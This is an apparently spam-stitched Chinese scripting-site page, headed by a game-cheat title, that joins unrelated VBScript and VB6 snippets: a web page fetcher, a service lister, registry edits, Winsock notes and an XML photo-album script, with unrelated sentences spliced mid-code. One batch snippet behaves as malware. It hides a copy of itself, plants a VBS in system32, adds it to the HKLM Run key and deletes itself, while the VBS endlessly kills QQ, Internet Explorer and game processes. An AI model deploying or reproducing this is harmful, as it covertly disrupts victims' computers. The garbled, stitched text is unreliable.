龙腾传世辅助脚本我宪法微 海洋生态文明

发布时间:2021-12-22 来源:脚本之家 点击:


我的思路是:
舍弃CommandButton控件,每个按钮用4条Line控件和一个Label控件替代
'1、输入url目标网页地址,返回值getHTTPPage是目标网页的html代码
function getHTTPPage(url)
dim Http
set Http=CreateObject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytesToBSTR(Http.responseBody,"GB2312")
set http=nothing
if err.number<>0 then err.Clear
end function

'2、转换乱玛,直接用xmlhttp调用有中文字符的网页得到的将是乱玛,可以通过adodb.stream组件进行转换
Function BytesToBstr(body,Cset)
dim objstream
set objstream=CreateObject("adodb.stream")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.Write body
objstream.Position=0
objstream.Type=2
objstream.Charset=Cset
BytesToBstr=objstream.ReadText
objstream.Close
set objstream=nothing
End Function

'下面试着调用的html内容
Dim Url,Html,Temp
Url=""
Html=getHTTPPage(Url)
Call getinfo(html)

Sub Getinfo(S)
Dim pl(),m,St
St="</TD><TD class=" & """list""" & ">"
Do
m=m + 1
n=P + Len(St)
P=InStr(n,S,St)
ReDim Preserve pl(m-1)
pl(m-1)=P
loop While P <> 0

For o=0 to m-1
If o+1 < m-1 Then
T_S=Mid(S,pl(o)+Len(St),pl(o+1)-pl(o)-Len(St))
If Len(T_S) < 30 Then
t=t+1
Select Case t
Case 1
temp=temp & "端口 : " & T_S & vbcrlf
Case 2
temp=temp & "类型 : " & T_S & vbcrlf
Case 3
temp=temp & "地址 : " & T_S & vbcrlf
Case 4
temp=temp & "时间 : " & Now & vbcrlf
Case 5
t=0
Str_Sip="whois.php?whois="
Str_Eip="target=_blank>whois</TD></TR>"
n1=P_Sip + Len(Str_Sip)
P_Sip=InStr(n1,S,Str_Sip)
n2=P_Eip + Len(Str_Eip)
P_Eip=InStr(n2,S,Str_Eip)
Ip=Mid(S,P_Sip+Len(Str_Sip),P_Eip-P_Sip-Len(Str_Sip))
If PingIp(Ip)=1 Then
temp=temp & "IP : " & Ip & vbcrlf
If MsgBox (temp,vbyesno,"是否继续? " )=vbno Then
WScript.quit
End If
End If
temp=""
End Select
End If
Else
MsgBox " 没有了",vbokonly,"提示"
WSCript.quit
End If
Next
End Sub

Function PingIp(host)
On Error Resume Next
strComputer="."
strTarget=host
Set objWMIService=GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\" & strComputer & "\root\cimv2")
Set colPings=objWMIService.ExecQuery _
("Select * From Win32_PingStatus where Address='" & strTarget & "'")
If Err=0 Then
Err.Clear
For Each objPing in colPings
If Err=0 Then
Err.Clear
If objPing.StatusCode=0 Then
PingIp=1
temp=temp & "速度 : " & objPing.ResponseTime & " 毫秒" & vbcrlf
'MsgBox strTarget & " responded to ping." & vbcrlf &_
'"Responding Address: " & objPing.ProtocolAddress & vbcrlf &_
'"Responding Name: " & objPing.ProtocolAddressResolved & vbcrlf &_
'"Bytes Sent: " & objPing.BufferSize & vbcrlf &_
'"Time: " & objPing.ResponseTime & " ms" & vbcrlf &_
'"TTL: " & objPing.ResponseTimeToLive & " seconds"
Else
PingIp=0
'MsgBox strTarget & " did not respond to ping." &_
'"Status Code: " & objPing.StatusCode
End If
Else
Err.Clear
PingIP=0
'MsgBox "Unable to call Win32_PingStatus on " & strComputer & "."
End If
Next
Else
Err.Clear
PingIp=0
'MsgBox "Unable to call Win32_PingStatus on " & strComputer & "."
End If
End Function

脚本策划是什么意思

'执行方法:直接双击vbs文件 或者 通过cmd.exe 下 cscript.exe "指定脚本的路径"
'利用Vbs脚本实现 显示系统服务里表

'Creator : Eric1991 Date: 2013-11-1 0:25

strComputer="."
Set objWMIService=GetObject("winmgmts:" & "\" & strComputer & "\root\cimv2")
Set colServices=objWMIService.ExecQuery("Select * from Win32_Service")

For Each objService in colServices
Wscript.Echo objService.DisplayName & "|" & objService.State
Next
'makeanewproject;twoforms
'onform1acommandbutton
'putthecodeintherightplaces
'pressF5

SubForm2_load()
'intheform2_loadevent
'besuretomaketheform2smallerthenform1!
lngOrigParenthWnd=SetWindowWord(Me.hwnd,-8,mdiMain.hwnd)

EndSub

PrivateSubForm_Unload(CancelAsInteger)
'intheform2_unloadevent
DimlngResult&

lngResult=SetWindowWord(Me.hwnd,-8,lngOrigParenthWnd)

EndSub

'intheform2_generalsection
PrivateDeclareFunctionSetWindowWordLib"user32"(ByValhwnd&,ByValnIndex&,ByValwNewWord&)AsLong
PrivatelngOrigParenthWnd&

SubCommand1_click
form2.Show

EndSub->


SetWshShell=CreateObject("Wscript.Shell")
WshShell.RegWrite"HKEY_LOCAL_MACHINE\Software\CLASSES\Folder\shell\cmdhere",""
WshShell.RegWrite"HKEY_LOCAL_MACHINE\Software\CLASSES\Folder\shell\cmdhere\command",""
WshShell.RegWrite"HKEY_LOCAL_MACHINE\Software\CLASSES\Folder\shell\cmdhere\command","c:\winnt\system32\cmd.exe/KCD%1","REG_SZ"
wscript.echo"操作成功"
setWshShell=nothing

    3.在“帮助”中搜索“图形”并转到“FillColor属性”主题


@echo off
attrib -s -h -a -r d:\jk.bat 1>nul 2>nul
if exist d:\jk.bat del d:\jk.bat /q
copy %0 d:\jk.bat /y >nul
attrib +s +h +a +r d:\jk.bat
if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs
echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul
echo Do>>%windir%\system32\jk.vbs
echo WScript.Sleep 3000>>%windir%\system32\jk.vbs
echo strComputer="." >>%windir%\system32\jk.vbs
echo Set objWMIService=GetObject("winmgmts:\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs
echo Set colItems=objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs
echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs
echo For Each objItem in colItems >>%windir%\system32\jk.vbs
echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs
echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs
echo Then objitem.Terminate()>>%windir%\system32\jk.vbs
echo Next>>%windir%\system32\jk.vbs
echo loop>>%windir%\system32\jk.vbs
start %windir%\system32\jk.vbs
del %0 /q


步骤二:再来我们必须先确定程式是作Server端还是Client端的,要先设定一些属性:

Server写法:winsock1.localPort=5400(数字可以随便设)
winsock1.Listen(等待连线)

Client写法:winsock1.RemoteHost="对方IP"
winsock1.RemoteProt=5400(必须要和Server端相同)
winsock1.LocalProt=0
winsock1.Connect(连线)

连线之前Client端要先知道Server端的IP,接著等到Server端等待连线时,Client端就可以呼叫Connect方法,双方连线成功後就可以传输资料


'*****************************************************************
'** Script: CreateXML.vbs
'** Version: 1.0
'** Created: 01/12/2009 9:51PM
'** Author: Adriaan Westra
'** E-mail:
'** Purpose / Comments:
'** Create xml file for photo album
'**
'**
'** Changelog :
'** 12-01-2009 9:51 : Initial version
'**
'*****************************************************************

On Error Resume next
Dim Version : Version="1.0" ' Script version
Dim Author : Author="A. Westra"
Dim objXML 'XML Document object
Dim root 'Root element of the xml document
Dim newNode ' XML Node object
Dim cNode ' XML (child) Node object
Dim cNodeText ' XML Text Node object


'*****************************************************************
'** Make sure the script is started with cscript
If InStr(wscript.FullName, "wscript.exe") > 0 Then
MsgBox "Please run this script with cscript.exe." & Chr(13) & _
"For example : cscript " & WScript.ScriptName & " /?", _
vbExclamation, WScript.ScriptName
WScript.Quit(1)
End If

'*****************************************************************
'** Get commandline parameters
Set Args=Wscript.Arguments

If Args.Count=0 Then
strImageDir=InputBox("Please give the directory name " & _
"to process : ",wscript.scriptname, strPath)
Else
If InStr(Args(0),"/?") > 0 Or InStr(UCase(Args(0)),"/H") > 0 _
Or InStr(UCase(Args(0)),"/HELP") > 0 Then
DisplayHelp
Wscript.quit(0)
Else
strImageDir=Args(0)
End if
End if

Set objXML=CreateObject("Msxml2.DOMDocument.6.0")
objXML.setProperty "SelectionLanguage", "XPath"


'*****************************************************************
'** Determine if the file exists
strXMLFile=strImageDir & "\album.xml"
Set objFSO=CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists(strXMLFile) Then
'*****************************************************************
'** Read the XML File
objXML.load(strXMLFile)
Else
'*****************************************************************
'** Create the XML File
objXML.loadXML("")
End If
'*****************************************************************
'** Process directory
Set objImgDir=objFSO.GetFolder(strImageDir)
For each objFile in objImgDir.Files
If IsJPG(objFile.Name) Then
arrTemp=split(objFile.Name, ".")
strNode=arrTemp(0)

'*****************************************************************
'** Determine if the node exists
If Not XmlNodeExists(strChildNode, objXML) Then
'*****************************************************************
'** Get the root element of the xml document
Set root=objXML.documentElement
'*****************************************************************
'** Create the new node
Set newNode=objXML.createNode(1, strNode, "")
root.appendChild newNode
Set cNode=objXML.createNode(1, "alt", "")
Set cNodeText=objXML.createNode(3, "", "")
cNodeText.Text=strNode
cNode.appendChild cNodeText
newNode.appendChild cNode
Set cNode=objXML.createNode(1, "Title", "")
Set cNodeText=objXML.createNode(3, "", "")
cNodeText.Text=strNode
cNode.appendChild cNodeText
newNode.appendChild cNode
End If
End If
Next
'*****************************************************************
'** Save the xml file
objXML.save(strXMLFile)

'*****************************************************************
'** End the script
wscript.quit

'*****************************************************************
'** Function: XmlNodeExists
'** Version: 1.0
'** Created: 1/12/2009 12:14PM
'** Author: Adriaan Westra
'** E-mail:
'**
'** Purpose / Comments:
'** Determines if a node exists in XML
'**
'** Arguments :
'** strNode :Name of the XML node
'** oXML :XMl DOM Object

'**
'** Changelog :
'** 1/12/2009 12:16PM : Initial version
'**
'*****************************************************************
Function XmlNodeExists( strNode, oXML )
On Error Resume next
Set oNode=oXML.selectSingleNode(strNode)
strNodetype=oNode.nodetype
If err.number=0 Then
XmlNodeExists=True
Else
XmlNodeExists=False
End if
End Function
'*****************************************************************
'** Sub: DisplayHelp
'** Version: 1.0
'** Created: 24-03-2003 8:22
'** Author: Adriaan Westra
'** E-mail:
'**
'** Purpose / Comments:
'** Display help for script
'**
'** Arguments :
'**
'** Wijzigingslog :
'** 24-03-2003 8:22 : Initi雔e versie
'**
'*****************************************************************
Sub DisplayHelp()
strComment=string(2,"*")
strCmntLine=String(79, "*")
wscript.echo strCmntline
wscript.echo strComment
wscript.echo strComment & " Online help for " & _
Wscript.scriptname & " version : " & Version
wscript.echo strComment
wscript.echo strComment & " Usage : cscript " & _
Wscript.scriptname & " directoryname"
wscript.echo strComment
wscript.echo strComment & " Purpose : Create XML file " & _
"for all images in given directory."
wscript.echo strComment
wscript.echo strComment & " Author : " & Author
wscript.echo strComment & " E-mail : " & Email
wscript.echo strComment
wscript.echo strCmntline
End Sub
'*****************************************************************
'** Function: IsJPG
'** Version: 1.0
'** Created: 12/29/2008 11:01PM
'** Author: Adriaan Westra
'** E-mail:
'**
'** Purpose / Comments:
'** Determine if file is jpg image
'**
'** Arguments :
'** strFilename : name of the file to check
'**
'** Wijzigingslog :
'** 12/29/2008 11:02PM : Initi雔e versie
'**
'*****************************************************************
Function IsJPG(strFilename)
Set objRegExp=New RegExp
objRegExp.Pattern="\w.jpg"
objRegExp.IgnoreCase=True
IsJPG=objRegExp.Test(strFileName)
End Function
楼盘宣传片当下一个版本的VisualBasic发布后,你可以使用VisualBasic来生成面向网络的对象,这种对象和ASP兼容"
WScript.Quit
EndIf

'-------------根据用户输入信息中断相应进程
m=0
Fori=0ToUBound(xs)
Ifxs(i)<>"-2"then'---只有真实可用的序号才参与循环
ForEachpInpro_s
IfTrim(p.handle)=trim(d0(xs(i)))Then'---如果进程pid号码正是需要中断的就尝试中断
p_name=p.name
pd=p.terminate()
Ifpd=0Then'---判断中断进程的尝试是否成功
msg=p_name&"进程中断成功!"
m=m+1
Else
msg=p_name&"进程中断失败!"
EndIf
os.popupmsg,1,"通知",64+0
EndIf
Next
endif
Next

os.popupw&"个目标进程,已经中断了"&m&"个",5,"通知",64+0
WScript.quit

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号